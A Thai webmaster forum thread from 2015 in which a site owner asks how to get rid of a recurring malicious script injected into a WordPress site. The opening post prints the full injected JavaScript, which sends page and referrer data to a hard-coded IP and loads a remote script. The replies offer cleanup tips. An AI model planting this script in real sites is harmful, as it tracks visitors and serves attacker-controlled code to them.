ยินดีต้อนรับคุณ, บุคคลทั่วไป กรุณา เข้าสู่ระบบ หรือ ลงทะเบียน

เข้าสู่ระบบด้วยชื่อผู้ใช้ รหัสผ่าน และระยะเวลาในเซสชั่น

ThaiSEOBoard.comพัฒนาเว็บไซต์CMS & Free Scriptขอความช่วยเหลือค่ะ wordpress โดน สคริป Malware
หน้า: [1]   ลงล่าง
พิมพ์
ผู้เขียน หัวข้อ: ขอความช่วยเหลือค่ะ wordpress โดน สคริป Malware  (อ่าน 1143 ครั้ง)
0 สมาชิก และ 1 บุคคลทั่วไป กำลังดูหัวข้อนี้
SG14
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 35
ออฟไลน์ ออฟไลน์

กระทู้: 1,398



ดูรายละเอียด เว็บไซต์
« เมื่อ: 03 ธันวาคม 2015, 10:48:31 »

ขอความช่วยเหลือค่ะ wordpress โดน สคริป Malware


โค๊ด:
<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://118.163.216.107/js/jquery.min.php"; var n_url = base   "?default_keyword="   default_keyword   "&se_referrer="   se_referrer   "&source="   host; var f_url = base   "?c_utt=snt2014&c_utm="   encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="'   f_url   '">'   '<'   '/script>');}</script>

ฝังอยู่ก่อน </head> ลบออกหลายทีแล้วก็กลับมาใหม่ใครพอจะมีวิธีแก้ให้หายขาดบ้างคะ
บันทึกการเข้า

BrainFreeze
เจ้าพ่อบอร์ดเสียว
*

พลังน้ำใจ: 498
ออฟไลน์ ออฟไลน์

กระทู้: 3,887



ดูรายละเอียด เว็บไซต์
« ตอบ #1 เมื่อ: 03 ธันวาคม 2015, 10:55:56 »

วิธีแก้ Wordpress ถูก Hack ครับ
https://support.hostatom.com/k...tion=displayarticle&id=318
บันทึกการเข้า

# จัดไป Promo Code ลด 11% : THAISEOBOARD
# hostatom.com |โฮสอะตอม - เว็บโฮสติ้งที่ Webmaster มืออาชีพไว้วางใจ
# Web Hosting | Cloud VPS | Reseller Hosting | Domain Name
# บริการ 24x7 | รับประกันความพอใจยินดีคืนเงิน | Uptime 99.9% | โทร : 0-2107-3466
dingdong8002
เจ้าพ่อบอร์ดเสียว
*

พลังน้ำใจ: 543
ออฟไลน์ ออฟไลน์

กระทู้: 4,817



ดูรายละเอียด เว็บไซต์
« ตอบ #2 เมื่อ: 03 ธันวาคม 2015, 11:12:57 »

ลองอัพเดท เพื่อทับไฟล์เก่าดูหรือยังครับ  wanwan017

บันทึกการเข้า

โฮสเจ้านี้ ดีและถูกที่สุดแล้ว ล่มยาก ไม่จุกจิก
แชร์โฮส เริ่มที่ 277บาท/ปี, VPS เริ่มที่ 290บาท/เดือน
เซิร์ฟเวอร์มีทั้ง TH,SG,US

สนใจ ▶︎ CLICK ◀︎
darkknightza
เจ้าพ่อบอร์ดเสียว
*

พลังน้ำใจ: 167
ออฟไลน์ ออฟไลน์

กระทู้: 4,245



ดูรายละเอียด เว็บไซต์
« ตอบ #3 เมื่อ: 03 ธันวาคม 2015, 11:18:02 »

ลองอัพเดท เพื่อทับไฟล์เก่าดูหรือยังครับ  wanwan017



ขอบคุณครับ
บันทึกการเข้า

หาเงินวันละ350บาท มั่นคง จ่ายมาสิบปีแล้ว
หารายได้กับ popup เจ้านี้ เรทแรงคลิ๊ก
Hosting อันดับ 1 คุณภาพสูง ราคาถูก จัดเลย
โดเมนเนมสวยๆ ราคาถูก จดกับเราสิที่นี่
SG14
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 35
ออฟไลน์ ออฟไลน์

กระทู้: 1,398



ดูรายละเอียด เว็บไซต์
« ตอบ #4 เมื่อ: 03 ธันวาคม 2015, 13:57:08 »

+1 ให้ทั้งคู่แล้วค่ะ

เดี๋ยวจะลองทำดูนะคะ
บันทึกการเข้า

SG14
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 35
ออฟไลน์ ออฟไลน์

กระทู้: 1,398



ดูรายละเอียด เว็บไซต์
« ตอบ #5 เมื่อ: 03 ธันวาคม 2015, 14:25:35 »

ลอง re-install แล้วค่ะ

เอาเว็บไปเช็คกับhttps://sitecheck.sucuri.net
ได้ผลดังนี้
บันทึกการเข้า

musichost
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 220
ออฟไลน์ ออฟไลน์

กระทู้: 1,861



ดูรายละเอียด เว็บไซต์
« ตอบ #6 เมื่อ: 03 ธันวาคม 2015, 15:11:21 »

โยนเว็บลง webmaster  chmod 644 ไฟล์นั้น ๆ
บันทึกการเข้า

##โฮสติ้ง ยุคนี้ หมดปัญหาเรื่อง Chmod 777, มี PHP 8.0/7.2 และ 5.6 - MariaDB 10
### จดโดเมน/Hosting/VPS TH/USA/RUSSIA/ ฟรีบริการย้ายข้อมูลเว็บ คลิกดูรายละเอียด ###
SG14
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 35
ออฟไลน์ ออฟไลน์

กระทู้: 1,398



ดูรายละเอียด เว็บไซต์
« ตอบ #7 เมื่อ: 03 ธันวาคม 2015, 15:21:06 »

โยนเว็บลง webmaster  chmod 644 ไฟล์นั้น ๆ

อธิบายละเอียดกว่านี้ได้ไหมคะ
บันทึกการเข้า

aloha_ana
Verified Seller
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 63
ออฟไลน์ ออฟไลน์

กระทู้: 1,108



ดูรายละเอียด
« ตอบ #8 เมื่อ: 03 ธันวาคม 2015, 15:34:15 »

ลองเข้าไปดูในไฟล์ config.php ก่อนครับ ถ้ามีก็ลบทิ้งเลย
บันทึกการเข้า

SG14
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 35
ออฟไลน์ ออฟไลน์

กระทู้: 1,398



ดูรายละเอียด เว็บไซต์
« ตอบ #9 เมื่อ: 03 ธันวาคม 2015, 15:37:34 »

ลองเข้าไปดูในไฟล์ config.php ก่อนครับ ถ้ามีก็ลบทิ้งเลย

ไม่มีไฟล์ config.php ใน root ค่ะ
มี wp-config.php
หรือดูที่ path ไหนคะ
บันทึกการเข้า

hi-speed
ก๊วนเสียว
*

พลังน้ำใจ: 32
ออฟไลน์ ออฟไลน์

กระทู้: 255



ดูรายละเอียด
« ตอบ #10 เมื่อ: 03 ธันวาคม 2015, 15:52:53 »

ลองเข้าไปดูในไฟล์ config.php ก่อนครับ ถ้ามีก็ลบทิ้งเลย


แอบสงสัย wp มีแต่ wp-config.php แล้ว ถ้าเราลบไป มันจะเชื่อมต่อกับ sql ได้อยู่หรอครับ
wp-config.php มันทำหน้าที่ ควบคุมการเชื่อมต่อเกือบ ทุกอย่างใน wp เลยนะ

 Tongue
บันทึกการเข้า

aloha_ana
Verified Seller
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 63
ออฟไลน์ ออฟไลน์

กระทู้: 1,108



ดูรายละเอียด
« ตอบ #11 เมื่อ: 03 ธันวาคม 2015, 16:41:41 »

ลองเข้าไปดูในไฟล์ config.php ก่อนครับ ถ้ามีก็ลบทิ้งเลย


แอบสงสัย wp มีแต่ wp-config.php แล้ว ถ้าเราลบไป มันจะเชื่อมต่อกับ sql ได้อยู่หรอครับ
wp-config.php มันทำหน้าที่ ควบคุมการเชื่อมต่อเกือบ ทุกอย่างใน wp เลยนะ

 Tongue

ผมหมายถึงลบบรรทัดที่มีโค้ดอยู่หน่ะครับ เพราะผมเคยโดนฝังโค้ดไว้ในไฟล์ wp-config.php พอลบแล้วก็หายครับ
บันทึกการเข้า

aloha_ana
Verified Seller
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 63
ออฟไลน์ ออฟไลน์

กระทู้: 1,108



ดูรายละเอียด
« ตอบ #12 เมื่อ: 03 ธันวาคม 2015, 16:44:54 »

โพสนี้ครับ  ::  http://www.thaiseoboard.com/in...593.msg4613075.html#msg4613075
บันทึกการเข้า

sahawat
ก๊วนเสียว
*

พลังน้ำใจ: 6
ออฟไลน์ ออฟไลน์

กระทู้: 224



ดูรายละเอียด
« ตอบ #13 เมื่อ: 08 ธันวาคม 2015, 09:48:42 »

มาเก็บเกี่ยวความรู้ครับ wanwan017
บันทึกการเข้า
หน้า: [1]   ขึ้นบน
พิมพ์